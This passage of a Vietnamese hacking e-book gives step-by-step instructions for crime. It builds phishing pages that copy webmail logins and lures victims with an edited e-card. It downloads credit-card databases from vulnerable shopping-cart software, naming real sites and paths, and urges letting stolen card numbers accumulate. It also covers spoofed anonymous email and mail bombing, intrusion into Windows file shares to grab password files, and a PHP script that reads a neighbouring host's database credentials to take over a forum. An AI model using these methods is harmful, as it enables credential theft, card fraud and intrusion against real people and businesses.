    http://wWw.Hack.Cf Page 47 saukhi save file này lại dưới dạng .htm, bạn view upload chúng lên website nào đó rồi thử login qua , sau đó checkmail tại email bạn đăng ký lúc đầu, sẽ thấy như thế này : và đây là phần password ( test và test] ) thế là xong ! bạn có thể coi bản demo tại đây Hack Password Hotmail
  • 48.
    http://wWw.Hack.Cf Page 48 làmtương tự như với yahoomail, đầu tiên bạn vào http://hotmail.com sau đó view soucre như hình dưói : cũng paste đoạn soucre mà mình đã bảo các bạn save vào ở trang trước vào sau thẻ <head> tương tự như làm với yahoo mail : sau đó cũng làm tương tự yahoo rồi save lại dưới dạng .htm như hình dưới, sau đó upload lên website của các bạn rồi gạ victim vào chơi ! coi demo tại đây Hack Mail.vnn.vn đầu tiên vào http://mail.vnn.vn cũng view soucre và paste sau thẻ <head> rồi save dưới dạng file .htm :
  • 49.
    http://wWw.Hack.Cf Page 49 coidemo tại đây Hack @ttvnonline.com đầu tiên cũng vào website http://ttvnonline.com chọn email rồi view soucre : cũng paste đoạn code riêng của các bạn sau thẻ <head> : save lai dưới dạng .htm rồi làm như yahoo hoặc hotmail, nhưng khi click vào thì không thấy cái lôgo của ttvnonline đâu ! như hình dưới , nếu không có chắc chắn victim sẽ ngi ngờ rất nhiều !
  • 50.
    http://wWw.Hack.Cf Page 50 vìvậy bạn hãy vào save cái logo của nó hoặc coi đường dẫncủa cái logo này rồi edit file đã có đoạn soucre của các bạn bằng front page hay notepad, điều này rất dễ làm và có hướng dẫn cụ thể ở site http://vtv4online.com ( trong này cũng có hướng dẫn cách thức đăng ký một website free và cách upload file lên host dành cho những bạn mới bắt đầu ) coi demo tại đây okies, như vậy sơ qua mình đã hướng dẫn các bạn lấy trộm pw email của 4 webmail khá thông dụng, tương tự như thế bạn sẽ đem đi làm với các webmail khác mà bạn biết! nếu bạn đã làm xong việc upload những page .htm đã được sửa đổi lên host của bạn, hãy click qua page3 để coi cách làm 1 thiệp điện tử lừa victim !
  • 51.
    http://wWw.Hack.Cf Page 51 saukhi biết làm fake login của các webmail và rủ victim vào "chơi" để ăn trôm pw của họ thành công rồi, thì tự nhiên có một điều nảy sinh ! đó là chẳng nhẽ mỗi lần muốn ăn trộm pw của ai đó ( ví du: victim@ttvnonline.com ) thì lại phải chat với victim hay send email gạ nó vào page làm sẵn trên host của mình à ! vì lý dó này mình hướng dẫn tiếp các bạn cách để chỉ cần gửi 1 ecard đến hòm thư của victim như những ecard bình thường nhưng lừa victim vào page làm sẵn của ta ! cách làm : vao một trang ecard bất kỳ, send 1 cái bất kỳ về hòm thư của chính bạn,ví dụ mình có một cái thế này : Your friend anh lan found a site that they thought you'd like. Check it out: http://www.riversongs.net/Flash/you.html This free tell-a-friend service is made possible by our sponsors: *~~*~~*~~*~~*~~*~~*~~*~~*~~*~~*~~*~~*~~*~~* **RIVERSONGS BEARY MERRY CHRISTMAS** http://www.riversongs.com/Flash/bmas.html *~~*~~*~~*~~*~~*~~*~~*~~*~~*~~*~~*~~*~~*~~* ===================================================== YOU’RE A WINNER!! No Scams, No Kidding- Everything Is FREE!! School Cool Barbie, Coca-Cola Monopoly, Yankees vs. Mets Chess Set, Simpsons Wall Clock, Clue, Star Wars Monopoly, Cordless Phones, Weight Watchers Software, Scooby Doo Gifts, Curious George Watches, and Biker Sunglasses, all yours for FREE!! Don’t miss out on other FREE gifts like, a Bart Simpson Lunch Box, Batman Comic Books, James Dean glasses, and MORE!! All gifts are FREE!! Don’t Miss Out, Click Here While There’s Still Time: http://www.supertaf.com/adt.php?a=7608461 ===================================================== ==================================================== NEED A CAR - New or Used? http://www.supertaf.com/adt.php?a=7608460 Good or Problem Credit - eCarCredit will can get your car and the loan you deserve. Thousands of people across the country have purchased
  • 52.
    http://wWw.Hack.Cf Page 52 carsand received auto loans with eCarCredit's help through our NATIONWIDE NETWORK of auto dealers & lenders. Don't have perfect credit? You can get a car loan with our FREE 2 minute application! Plus our Loan Advisors HELP YOU FIND A CAR that fits your needs from a local dealer at no extra cost. Click here for your new car TODAY! http://www.supertaf.com/adt.php?a=7608460 *Must be over 18, & approved for credit. Not available in TX, AL, AK, AR, HI. Offer subject to change without notice. Copyright 2002 © eCarCredit.com ==================================================== ---------------------------------------------------------------------- You received this email because someone visited our site and wanted to tell you about it. To answer, simply reply to this message. Click here if you don't want to be reached through our service: http://supertaf.com/optout.php?email=admin()anhlan;;us Report Abuse: http://supertaf.com/index.php?page=abuse Got a question? http://supertaf.com/index.php?page=faq Sender's IP address: 203.162.132.168 ---------------------------------------------------------------------- giờ sửa thành thế này (dùng notepad hay front page edit link nhận ecard thành link dẫn tới page fakelogin của các bạn - tuỳ theo victim có email thế nào mà link đến page để sẵn fake phù hợp ): Your friend anh lan found a site that they thought you'd like. Check it out: http://www.riversongs.net/Flash/you.html This free tell-a-friend service is made possible by our sponsors: *~~*~~*~~*~~*~~*~~*~~*~~*~~*~~*~~*~~*~~*~~* **RIVERSONGS BEARY MERRY CHRISTMAS** http://www.riversongs.com/Flash/bmas.html *~~*~~*~~*~~*~~*~~*~~*~~*~~*~~*~~*~~*~~*~~* ===================================================== YOU’RE A WINNER!!
  • 53.
    http://wWw.Hack.Cf Page 53 NoScams, No Kidding- Everything Is FREE!! School Cool Barbie, Coca-Cola Monopoly, Yankees vs. Mets Chess Set, Simpsons Wall Clock, Clue, Star Wars Monopoly, Cordless Phones, Weight Watchers Software, Scooby Doo Gifts, Curious George Watches, and Biker Sunglasses, all yours for FREE!! Don’t miss out on other FREE gifts like, a Bart Simpson Lunch Box, Batman Comic Books, James Dean glasses, and MORE!! All gifts are FREE!! Don’t Miss Out, Click Here While There’s Still Time: http://www.supertaf.com/adt.php?a=7608461 ===================================================== ==================================================== NEED A CAR - New or Used? http://www.supertaf.com/adt.php?a=7608460 Good or Problem Credit - eCarCredit will can get your car and the loan you deserve. Thousands of people across the country have purchased cars and received auto loans with eCarCredit's help through our NATIONWIDE NETWORK of auto dealers & lenders. Don't have perfect credit? You can get a car loan with our FREE 2 minute application! Plus our Loan Advisors HELP YOU FIND A CAR that fits your needs from a local dealer at no extra cost. Click here for your new car TODAY! http://www.supertaf.com/adt.php?a=7608460 *Must be over 18, & approved for credit. Not available in TX, AL, AK, AR, HI. Offer subject to change without notice. Copyright 2002 © eCarCredit.com ==================================================== ---------------------------------------------------------------------- You received this email because someone visited our site and wanted to tell you about it. To answer, simply reply to this message. Click here if you don't want to be reached through our service: http://supertaf.com/optout.php?email=admin()anhlan;;us Report Abuse: http://supertaf.com/index.php?page=abuse Got a question? http://supertaf.com/index.php?page=faq Sender's IP address: 203.162.132.168 ---------------------------------------------------------------------- sau khi edit như trên, send email này đến email của victim, victim khi mở mail,
  • 54.
    http://wWw.Hack.Cf Page 54 nhậncard sẽ thấy màn hình fakelogin và nhập user cũng như password vào và thế là bạn chỉ cần checkmail để láy pw send về ! chúc các bạn hack vui vẻ +++++++++++++++++++ anhlanonline@yahoo.com Hacking Credit Card ( qua lỗi của A-CART shopping ) A-CART là một ASP shopping card (ứng dụng từ VBScript) được kết hợp từ một số hàm của VBScript và Access database lỗ hổng bảo mật được phát hiện bởi nick hx ngày 05/09/02 cho phép bạn có thể download file database trong những website dùng shopping A-CARD mà không cần phải có bất cứ một quyền hạn gì trên website đó ! choáng thật ! những thông tin trong file database rất quan trọng, nó có thể chứa nhiều thông tin như : name, surname, address, e-mail, credit card number, and user's login- password.... ok, bây giờ chúng ta cùng thực hành lỗi này : đầu tiên các bạn vào http://google.com ( các bạn có thể vào các site tìm kiếm khác như http://av.com .... ) search keyword "acart2_0" : ok, bây giờ bạn đã thấy rất nhiều site bị mắc lỗi này:
  • 55.
    http://wWw.Hack.Cf Page 55 dokinh nghiệm mình khuyên các bạn nên chọn những site có dạng http://url/acart2_0/ ví dụ site http://www.coolrob.com/cart/acart2_0 okies, các bạn có tin rằng mình đownload được file mdb của nó không? không tin à? thử gõ thêm /acart2_0.mdb vào đằng sau url trên như hình dưới coi ! ngay khi click go! các bạn thấy xuất hiện thông báo save hoặc open file mdb này ! thành công rồi đó ! nhìn màn hình download mới thích thú làm sao !
  • 56.
    http://wWw.Hack.Cf Page 56 côngviệc còn lại là đọc file acart2_0.mdb này! việc này dành cho các bạn tương tự cho những site bị lỗi này, các bạn còn chờ gì nữa mà không khám phá ! chúc hack vui ve ! +++++++++++++++++++ anhlanonline@yahoo.com Hacking Credit Card ( qua lỗi VP-ASP Shopping Cart ) lỗi này cực kỳ nguy hiểm, bởi vì có rất nhiều sỉte shopping sủ dụng phần mềm VP- ASP ! nếu 1 site bị lỗi này , hacker có thể +nhìn thấy đường dẫn database/configuration +thay đổi đương dẫn của file database/configuration + download file database/configuration +đặc biệt : login như administrator của (phần mềm) VP-ASP trên site đó, hoặc login với quyền admin vào host của site đó ( nếu chúng bị thêm lỗi SQL injection ) với user và pw đều là 'or''=' .... trong bài viết này mình sẽ không đi sâu vào hệ thống shopping này và những lỗ hổng cho phép làm nhiều điều khác, mà rất đơn giản chỉ là hướng dẫn những bạn
  • 57.
    http://wWw.Hack.Cf Page 57 nàochưa biết một con đương nhanh nhất để có thể download những file database chứa đầy credit card trong những site mắc phải lỗi này !! ok, chúng ta bắt đầu làm việc: đầu tiên vào http://google.com search từ khoá "shopdisplaycategories" như hình dưới : các bạn sẽ thấy vô số site dùng VP-ASP shopping ! tuy nhiên nhiều site đã fix, và công việc của các bạn là dò tìm những site chưa fix ! các bạn có thể chọn bất cứ trang nào trong list site dùng phần mềm VP-ASP shopping : trong bài viết này mình chọn site http://www.theqproject.com làm victim ! khi tìm thấy nó trên google click vào bạn sẽ thấy url : http://www.theqproject.com/shopping/shopdisplaycategories.asp url này cho biết tất cả những sản phẩm trên website shopping đó : công việc tiếp theo là chuyển url http://www.theqproject.com/shopping/shopdisplaycategories.asp thành url http://www.theqproject.com/shopping/shopdbtest.asp ngiã là thay shopdisplaycategories.asp bằng shopdbtest.asp rồi click go như hình dưới : các bạn sẽ thấy màn hình hiển thị như sau ( chú ý: nếu đã đi được đến đây rồi thì bạn có 70% cơ hội download được file database )
  • 58.
    http://wWw.Hack.Cf Page 58 ápdụng công thức http:// [vp-asp site] / [ vp-asp dir] / [ xDatabase + .mdb ] ta thấy trong ví dụ này + [vp-asp site] là http://www.theqproject.com +[ vp-asp dir] là shopping +[ xDatabase + .mdb ] là shoping.mdb vậy ta có thể dowload database tại url http://www.theqproject.com/shopping/shoping.mdb như hình dưới đây : màn hình hỏi save hay open ! wow! thành công rồi đó ! xin chúc mừng !
  • 59.
    http://wWw.Hack.Cf Page 59 saukhi save vào máy ( đã setup sẵn microsoft-access 2000 - nằm trong bộ microsoft-office ) file có hình như sau : double click chuột vào file db trên các bạn sẽ thấy rất nhiều tab, thông thường những thông tin trong tab oder là những thông tin mà chúng ta cần tìm kiếm ( cc ), click lên tab để view : sau khi click tab oder các bạn sẽ thấy rất nhiều thông tin, nhiều khi có cả cc ! và bây giờ khi bạn đã hiểu cách hack, những site bị lỗi trên có rất nhiều và đang chờ bạn khám phá ! chúc hack vui vẻ *thông tin thêm: nếu quá trình view file mdb đòi password, bạn có thể đọc bài hướng dẫn sử dụng chương trinh PasswarePasswordRecoveryAccess để biết cách phá passwordo thân ái và chúc thành c
  • 60.
    http://wWw.Hack.Cf Page 60 +++++++++++++++++++ anhlanonline@yahoo.com HackingCredit Card ( lỗi Cart32.exe ) trong những bài trước các bạn đã được hướng dẫn rất cụ thể bằng hình ảnh, và được thực hành ngay chính vì vậy bài viết này là cơ hội cho bạn tìm tòi và tư duy khi không có hướng dẫn bằng hình ảnh ! ok, chúng ta bắt đầu bàn đến lỗi này +tìm Cart32 Sites tìm nhứng site dạng này rất đơn giản , bạn vào google.com hoặc av.com ( đây là 2 site tìm kiếm lớn nhất thế giới ) sau đó gõ tù khoá Cart32.exe v3 site google (hay av) sẽ mang đến cho bạn tất cả các site cart32.exe với phiên bản 3.0 sau đó click vào 1 link bất kỳ mà google hay av đưa đến cho bạn +mức độ lỗi của các phiên bản cart32.exe version 2.5 : tất cả đều bị lỗi version 3.0 : hầu hết đều bị lỗi version 3.5a : bị lỗi 1 phần nhỏ version 4.0 : gần như không bị lỗi +cách khai thác lỗi tuỳ thuộc vào mục đích của bạn , khi bạn đã có những site sử dụng cart32.exe shoping bạn có thể có những "trò đùa" sau: đầu tiên vào http://www.sitename.com/cgi-bin/cart32.exe/sitename sau đó chọn một trong các browse sau cho từng chủ để: Lấy Credit Cards : http://www.sitename.com/cgi-bin/cart32/sitename-ORDERS.txt hoặc : http://www.sitename.com/cgi-bin/cart32/sitename-OUTPUT.txt Lấy Admin Passwords : http://www.sitename.com/cgi-bin/cart32.ini
  • 61.
    http://wWw.Hack.Cf Page 61 LấyClients Passwords : http://www.sitename.com/cgi- bin/cart32.exe/cart32clientlist Hiển Thị Các Thư Mục : http://www.sitename.com/cgi-bin/cart32.exe/error lời khuyên : nếu bạn tìm thấy cc trong oder.txt , đừng sử dụng chúng hay cho bất kì một ai khác ! hê hê hê ! để làm gì à? câu hỏi hay ! thế tôi lại hỏi ngược lại bạn thế này: bạn có thích nhiều cc hay ít cc? tất nhiên là câu trả lời sẽ là thích nhiều ! thế tại sao bạn lại không chờ đợi thêm 1 vài tuần để website đó update file oder.txt ?! lúc nào nhiều nhiều rồi hãy cất lưới bạn à , hì hì hiểu ý mình không? ! chào thân ái, chúc các bạn hack vui vẻ! +++++++++++++++++++ anhlanonline@yahoo.com hướng dẫn làm một feedback khi làm website chắc chắn ai cũng muốn làm 1 cái feedback để những người ghé thăm website đỡ mất thời gian vào email của họ để gửi những ý kiến đóng góp đến cho admin ( thay vào đó chỉ cần vào feedback send mail ) ok, việc này rất dễ và ở đây mình đã làm sẵn cho các bạn 1 feedback bằng tiếng việt !download nó ở đây sau khi download về view file feedback.php bằng notepad và edit email admin@anhlan.us bằng email của bạn : các bạn có thể chỉnh sửa màu sắc hay chuyển qua front chữ tiếng anh tuỳ thích, cách làm như sau:cũng view file feedback.php bằng notepad sau đó chỉnh sửa font và màu sắc rồi save lại, mình nghĩ việc này rất đơn giản và các bạn chắc chắn tự làm được. sau khi chỉnh sủa theo ý mình, các bạn upload 3 file feedback.php,style.css và vietuni.js lên cùng 1 thư mục trên 1 website support php và hàm sendmail
  • 62.
    http://wWw.Hack.Cf Page 62 okies,run đường dẫn và thế là xong ! chúc thành công ! +++++++++++++++++++ anhlanonline@yahoo.com Some Link For Free Subdomains www.freeurl.com www.jwdx.com www.cjb.net www.dot.tk www.v3.com www.hotredirect.com www.internetjump.com www.explode.to www.zdos.com www.webalias.com www.reduce.to www.warping.to www.gosurfto.com www.2000c.net www.shorturl.com www.has.it www.doze.to www.nigx.net www.1fx.net www.soar.to www.123redirect.com www.ipfox.com www.webweaver.nu www.ohgo.com www.url-redirection.org www.aliasnames.com www.get-2.com www.myredirector.com www.dot.nu www.tr.cx www.kickme.to www.rapworld.com/url/ www.dk3.com www.xiy.net
  • 63.
  • 64.
    http://wWw.Hack.Cf Page 64 nhữngwebsite thông dụng của thư viện điện tử http://www.idealibrary.com : cung cấp khả năng truy cập tới 175 báo, tạp chí khoa học của nhiều đại học lớn về các lĩnh vực khác nhau. Rất hữu ích cho các sinh viên và các nhà ngiên cứu. http://www.englishclub.com : giúp học tiếng anh theo các chủ để như Grammar, Business, Fun, Reading, Shop, Teacher's Room. Hướng dẫn viết đơn xin việc . Liên kêtý với các site học tiếng anh khác và 1 số phần mềm học tiếng anh. http://www.simtel.net : thư viện điẹn tử cung cấp hàng chục ngìn phần mềm miễn phí, thuộc nhiều lĩnh vực khác nhau, liên quan trực tiếp đến công nghệ thông tin như tiện ích, truyền thông, đồ hoạ, ...đến các lĩnh vực khác như hoá học, thiên văn học, sinh học, địa chất, âm nhạc...sắp sếp theo môi trường sử dụng ddos, win3x, win98... http://www.encarta.com : website miễn phí của microsoft, là bách khoa thư về mọi vấn đề, các bài báo về những sự kiện trên thế giới. Công cụ tìm kiếm của site này cho phép tìm kiếm về nhiều chủ để với phạm vi toàn web. http://worlbook.com : có chức năng tương tự như encarta, là một công cụ hữu ích cho sinh viên khi thực hiện các ngiên cứu, viết báo cáo khoa học, biểu đồ. Links Chúng tôi xin trân trọng giới thiệu Some links of vietnam
  • 65.
    http://wWw.Hack.Cf Page 65 hack& crack http://vieteam.com ( site tham khảo toàn diện về PC ) http://vncracking.tsx.org ( site crack lớn của việt nam ) http://phphuoc.htmedsoft.com ( site của anh Phạm Hồng Phước với khá nhiều bài viết và phần mềm hấp dẫn ) http://end.at/acc (site về account chùa ) http://hackervn.net ( một trong những site lớn nhất về hack của việt nam ) http://viethacker.net ( một trong những site lớn nhất về hack của việt nam ) http://www.polarhome.com/~vicki ( site của nhóm vicki ) http://blackmoont.com ( một site để tham khảo về ibf, trong box invision board theo thời gian ) http://mitdac.com ( một site cung cấp khá nhiều đồ quí hiếm, khó tìm, cập nhật ) http://binhnx2000.hypermart.net ( site của HKC ) http://hkcvn.com ( site mới của HKC ) http://toolzone.info ( một site tiếng việt về javascript ) music http://matngoc.net ( một site thảo luận về nhóm Mắt Ngọc ) http://phihungfc.com ( một site thảo luận về Phi Hùng ) http://mytam.info ( site riêng của Mỹ Tâm ) http://ngothanhvan.com ( site riêng của Ngô Thanh Vân ) giới thiệu 1 vài website mới của các bạn vn Some links of The Worl hack crack music http://www.rainforestmucsic-borneo.com ( tại đây bạn có thể tìm hiểu về các ca sĩ và nhạc sĩ từ tất cả mọi nơi trên thế giới heart grafic
  • 66.
    http://wWw.Hack.Cf Page 66 http://www.photos-2000.com/flowl( chứa những bức ảnh tuyệt đẹp về các loại hoa và bạn có thể tải về để làm ảnh nền cho chiếc PC của bạn ) http://www.sg/courtesy/index.htm ( bạn có thể tìm thấy ở đây danh mục của những trò chơi, những cuộc thi thú vị, thậm chí có thể tải về các wallpaper hay scrensaver đẹp mắt ) http://moonfruit.com ( cung cấp cho bạn hàng trăm kiểu website khác nhau và bạn có thể lựa chọn tuỳ ý ---> cho phép giảm thiểu những khó khăn khi làm website của bạn ) other http://www.proxy2.de ( một site rất hay để tham khảo về soucre code của guestbook và shoubox ) 3 bước để kiểm tra thẻ tín dụng 5434-8434-2900-1033 Đây có phải là số card đúng không? Chúng ta hãy kiểm tra nó. Bước 1: kiểm tra loại card Type Prefix Length MASTERCARD
  • 67.
    http://wWw.Hack.Cf Page 67 51-55 16 VISA 4 13,16 AMEX 34 37 15 Diners Club/ Carte Blanche 300-305 36 38 14 Discover 6011 16 enRoute 2014 2149 15 JCB 3 16 JCB 2131 1800 15 5434-8434-2900-1033 (length = 16) Đây có thể là thẻ MasterCard - National Westminster Bank Bước 2: kiểm tra công thức Luhn (mod 10) - lần lượt lấy các chữ số ở vị trí lẽ nếu lenght chẵn hoặc các chữ số ở vị trí chẵn nếu length là lẽ nhân cho 2
  • 68.
    http://wWw.Hack.Cf Page 68 54 3 4 8 4 3 4 2 9 0 0 1 0 3 3 x2 x2 x2 x2 x2 x2 x2 x2 --------------------------------------- 10 6 16 6 4 0 2 6 - tính tổng: (1+0) + 4 + (6) + 4 + (1+6) + 4 + (6) + 4 + (4) + 9 + (0) + 0 + (2) + 0 + (6) + 3 = 60 - lấy tổng tính được mod cho 10, nếu số dư bằng 0 nghĩa là đúng, nếu khác 0 nghĩa là sai. 60 mod 10 = 0 - Luhn Check Digit: passed. Bước 3: kiểm tra checksum - lần luợt lấy các chữ số ở vị trí lẽ nhân cho 2 ngoại trừ chữ số cuối cùng 5 4 3 4 8 4 3 4 2 9 0 0 1 0 3 x2 x2 x2 x2 x2 x2 x2 x2 --------------------------------------- 10 6 16 6 4 0 2 6 - tính tổng(*): (1+0) + 4 + (6) + 4 + (1+6) + 4 + (6) + 4 + (4) + 9 + (0) + 0 + (2) + 0 + (6) = 57 - tính tổng các chữ số của tổng(*) 5 + 7 = 12 - lấy kết quả trên nhân cho 10 rồi trừ cho tổng(*), sau đó mod 10, nếu số dư bằng chữ số cuối cùng của card number nghĩa là đúng, nếu khác nghĩa là sai. (12 x 10 - 57) % 10 = 3 - Checksum: passed. 5434-8434-2900-1033 - đây là số card hợp lí Ví dụ 2 : 4128-674-342-188 - hợp lí - prefix = 4, length = 13 - Valid Visa CV - Citibank - 4221661446441168 = 60, (60 mod 10) = 0 - 814837838228 = 62, 6 + 2 = 8, (8 x 10 - 62) % 10 = 8 Tuy nhiên bạn chỉ có thể kiểm tra xem số card đúng hay sai thôi. Để sử dụng card, bạn cần biết thêm thông tin khác về card như người sở hữu card, địa chỉ và số phone của anh ta, ... Công cụ hổ trợ: (http://www.elfqrin.com/DisCard.html)
  • 69.
    http://wWw.Hack.Cf Page 69 Verifya Credit Card Number Credit Card # Generate a Credit Card Number Choose Pattern Separator: Gửi một email nặc danh hay bomb thư : Trên mạng Internet có rất nhiều software làm việc này nhưng tất cả đều dựa vào một công cụ cơ bản là telnet.
  • 70.
    http://wWw.Hack.Cf Page 70 TELNETở đâu : Nếu bạn dùng Windows thì chỉ cần vào start/run đánh vào telnet là bạn có nó rồi đấy !Trong mục Terminal của Telnet bạn chọn Preferences/Terminal Option chọn VT100 Bắt đầu : Sau khi kết nối vào mạng, bạn vào Connect/Remote System của Telnet, ở mục Host Type bạn đánh tên của server mà bạn muốn chuyển thư qua : Ví dụ : mail.hn.vnn.vn , .....ở mục Port bạn chọn là 25. Sau đó bạn đánh nội dung tương tự như sau : HELO bellcore.com MAIL FROM:hacker@hack.com RCPT TO:hacker@hack.com DATA Nội dung thư ở đây QUIT OK, bây giờ bạn có thể tin tưởng rằng bức thư bạn đánh là một lá thư nặc danh, không ai biết bạn gửi cả ! Chúc các bạn thành công. BÀI HỌC #2 NVH (c) Xâm nhập PC khác khi đang Online : Thông thường một hacker trước khi xâm nhập máy tính, thường cố gắng cài một Trojan mở cổng để xâm nhập, nổi tiếng nhất là Trojan Back orffice.
  • 71.
    http://wWw.Hack.Cf Page 71 Bàihọc này sẽ chỉ cho bạn làm thế nào có thể kết nối với một máy tính cài Windows thông qua Internet và có thể lấy thông tin của chúng. Công cụ cần thiết : Ðầu tiên là bạn cần là một chương trình scan gọi là Netbios scaner. Tôi dùng Legion hoặc Winhackgold ( Download ở http://www.hackerclub.com ). Chương trình sẽ scan tất cả các máy có mở chia sẻ file trên cùng một netbios. Bắt đầu : Sau khi kết nối vào mạng, bạn vào Start/Run rồi đánh winipcfg, bạn sẽ nhận được một địa chỉ IP mà ISP gán cho bạn mỗi khi bạn kết nối, nếu bạn kết nối bằng Modem thì số IP này sẽ thay đổi gọi là IP động. Trong mục SCAN FROM của Legion bạn hãy đánh địa chỉ IP của mình vào. Ví dụ tôi có 203.160.11.48 thì tôi đánh trong Legion on là 203.160.11 thôi. Bây giờ ở mục TO của Legion bạn đánh 203.160.xx (xx là địa chỉ IP bất kì bạn đánh vào, bạn nên đánh số gần nhất với IP của mình, tôi chọn số 12). Bây giờ ấn nút SCAN, Legion sẽ bắt đầu scan và cho tất cả các địa chỉ IP nó tìm thấy 1 - 254. Nếu bạn may mắn thì khi chọn một địa chỉ IP thì bạn sẽ nhìn thấy như sau : Shared resources at 206.11.11.42 Sharename Type Comment ---------------------------------------------- A Disk Floppy CDRIVE Disk C: Drive DDRIVE Disk D: Drive CDROM Disk CD-Rom Read Only The command was completed successfully. Hãy click vào địa chỉ IP đó với các lệnh của USE NET bạn sẽ có quyền kiểm soát địa chỉ IP đó. Trong cửa sổ DOS-Promt bạn hãy sử dụng các lệnh sau: NET USE [drive: | *] [computerdirectory [password | ?]] [/SAVEPW:NO] [/YES] [/NO] NET USE [port:] [computerprinter [password | ?]] [/SAVEPW:NO] [/YES] [/NO] NET USE drive: | computerdirectory /DELETE [/YES] NET USE port: | computerprinter /DELETE [/YES] NET USE * /DELETE [/YES] NET USE drive: | * /HOME drive Specifies the drive letter you assign to a
  • 72.
    http://wWw.Hack.Cf Page 72 shareddirectory. * Specifies the next available drive letter. If used with /DELETE, specifies to disconnect all of your connections. port Specifies the parallel (LPT) port name you assign to a shared printer. computer Specifies the name of the computer sharing the resource. directory Specifies the name of the shared directory. printer Specifies the name of the shared printer. password Specifies the password for the shared resource, if any. ? Specifies that you want to be prompted for the password of the shared resource. You don't need to use this option unless the password is optional. /SAVEPW:NO Specifies that the password you type should not be saved in your password-list file. You need to retype the password the next time you connect to this resource. /YES Carries out the NET USE command without first prompting you to provide information or confirm actions. /DELETE Breaks the specified connection to a shared resource. /NO Carries out the NET USE command, responding with NO automatically when you are prompted to confirm actions. /HOME Makes a connection to your HOME directory if one is specified in your LAN Manager or Windows NT user account. To list all of your connections, type NET USE without options. To see this information one screen at a time, type the following at the command prompt: NET USE /? | MORE or NET HELP USE | MORE Sau khi xâm nhập bạn cần lấy các thông tin của IP này ! Hãy vào những cái có kiểu program filescutètptree.dat, mircdownload, windows*.pwl ... Chuc các bạn thành công.
  • 73.
    http://wWw.Hack.Cf Page 73 HackLocal Site, vd : Hack forum PhpBB : ###### Header Begin Project Name: How to hack a localsite Founder: Luke/Lukos Found day: 31/08/2002 Use for Education and Experiences Only ###### Header End Rất tình cờ, khi học PHP tôi tìm ra một cách để hack được một số Web Portal hoặc forum của hầu hết các free hosting như lycos.co.uk vv. Và tỉ lệ thành công là 100% tuy hơi mất thời gian Trước hết cách này gần như kiểu hack qua Local Exploit để lấy Root's passwd, cái này chắc nhiều bạn cũng đã biết nhưng cũng khác chút ít. Vì vậy tôi cũng chỉ xin lấy một ví dụ là hack phpBB forum để làm mẫu chung cho các kiểu Portal hay forum khác. Bước 1. Xác định URL website cần hack. Do đây là free hosting nên website luôn có dạng http://root/yoursite Và giả sử forum phpBB nằm tại URL sau http://root/victim/phpBB_path/ Chú ý là phải tìm đúng URL Root chứ không phải redirect hay forward .. Bước 2. Đăng kí một hosting cùng trên server đó. Vì đây là free hosting nên nếu victim đăng kí được thì bạn cũng có thể đăng kí dễ dàng Giả sử bạn đăng kí một hosting như sau http://root/mysite/ Bước 3 Xác định DB info của Victim Điều này rất dơn giản khi bạn với victim đang cùng trên một Local Thật vậy có thể là /home/user_root/public_html/mysite/ hay /home/user_root/httpdocs/mysite/ tuỳ thuộc Control Panel của Server là lọai gì (Cpanel, Plesk, Enxim..). Nhưng điều này không cần chú ý. 3.1 Bạn tạo một file để lấy DB info của victim như sau ## getdb.php begin <?php $fd = fopen ("../victim/phpBB_path/config.php", "r"); while (!feof ($fd)) { $line = fgets($fd,4000); print $line; } fclose ($fd); ?> ## getdb.php end Bạn có thể thay $fd bằng đường dẫn tới bất kì file php mà bạn muốn xem mã nguồn của nó. Vì đối với các loại Portal hoặc forum khác có thể DB Info không chứa trong file config.php như của phpBB 3.2 Upload file getdb.php Bạn chỉ việc upload lên hosting mà bạn vừa đăng kí http://root/mysite/getdb.php 3.3 Lấy DB info của victim Chạy file getdb.php vừa rồi trên Browser của bạn. Bạn sẽ thấy một màn hình trắng (blank). Đừng lo, bạn hãy "View source" và bạn sẽ thấy được các thông tin như sau :
  • 74.
    http://wWw.Hack.Cf Page 74 ##getdb.php's source begin <?php // // phpBB 2.x auto-generated config file // Do not change anything in this file! // $dbms = "mysql4"; $dbhost = "localhost"; $dbname = "DB name here"; $dbuser = "DB user here"; $dbpasswd = "DB passwd here"; $table_prefix = "phpbb_"; define('PHPBB_INSTALLED', true); ?> ## getdb.php's source end Xong bước thứ 3 Bước 4. Kiểm tra mật khẩu mà bạn vừa lấy được. Với nick Admin trong forum và tất cả những gì có thể liên quan như passwd e-mail, hosting, domain .. Vì có thể nạn nhân dùng 1 passwd cho tất cả những mật khẩu của mình cho đỡ quên. Đây là một trong những thói quen chết người Nếu mà thành công thì dừng tại đây nếu không hãy sang bước thứ 5 Bước 5. Tạo một mirror phpBB forum. 5.1 Nghĩa là sao, bạn hãy upload một phpBB forum cùng phiên bản với victim vào hosting của bạn http://root/mysite/ Và đừng Install forum này nếu bạn muốn hack nó. 5.2 Config forum vừa upload Bạn hãy config cho forum của bạn thực sự là một mirror của victim's forum. Điều đó có nghĩa là bạn phải link DB đến DB của victim, điều đó thật dễ dàng khi bạn đã có được DB info của victim trong tay. 5.2.1 Tạo file config.php Đó là toàn bộ những gì bạn vừa "view source" được : ## config.php source begin <?php // // phpBB 2.x auto-generated config file // Do not change anything in this file! // $dbms = "mysql4"; $dbhost = "localhost"; $dbname = "DB name here"; $dbuser = "DB user here"; $dbpasswd = "DB passwd here"; $table_prefix = "phpbb_"; define('PHPBB_INSTALLED', true); ?> ## config.php source end 5.2.2 Upload config.php
  • 75.
    http://wWw.Hack.Cf Page 75 Bạnupload đè lên file config.php trong cái forum mới toanh mà bạn vừa upload. http://root/mysite/config.php 5.2.3 Thử lại Bạn thử gõ http://root/mysite/ xem, nếu mà forum của bạn có các thông số y hệt như của http://root/victim/phpBB_path tức là bạn đã thành công bước này Bước 6. Sửa mã nguồn Mirror Site Mục đích bước này là bạn sẽ sửa mã nguồn forum của bạn đề bạn có thể Login vào được Admin panel của nó. Nếu bạn học PHP thì việc này khá dễ dàng. Tôi xin nêu ra 1 phương pháp, đó là cách crack cổ điển. 6.1 Crack cổ điển 6.1.1 Đó là khi bạn muốn crack passwd 1 file exe, bạn có thể deassebler nó ra thành file.asm bằng nhiều chương trình hiện nay 6.1.2 Tìm các lệnh nhảy có điều kiện (JP gì gì đó. Cái này có hàng đống mà). của đoạn code dòi mật khẩu 6.1.3 Sửa thành lệnh nhảy không điều kiên 6.1.4 Compile lại thành file exe và OK. Ta nhập bất cứ mật khẩu nào vào nó cũng chấp nhận 6.2 Sửa mã nguồn Sửa ở file login.php và sẽ cho phép bạn Login dưới mọi nickname bằng 1 passwd chọn sẵn 6.2.1 Chọn mật khẩu chung cho toàn bộ các nick. Thực sự các mật khẩu trong phpBB đã được mà 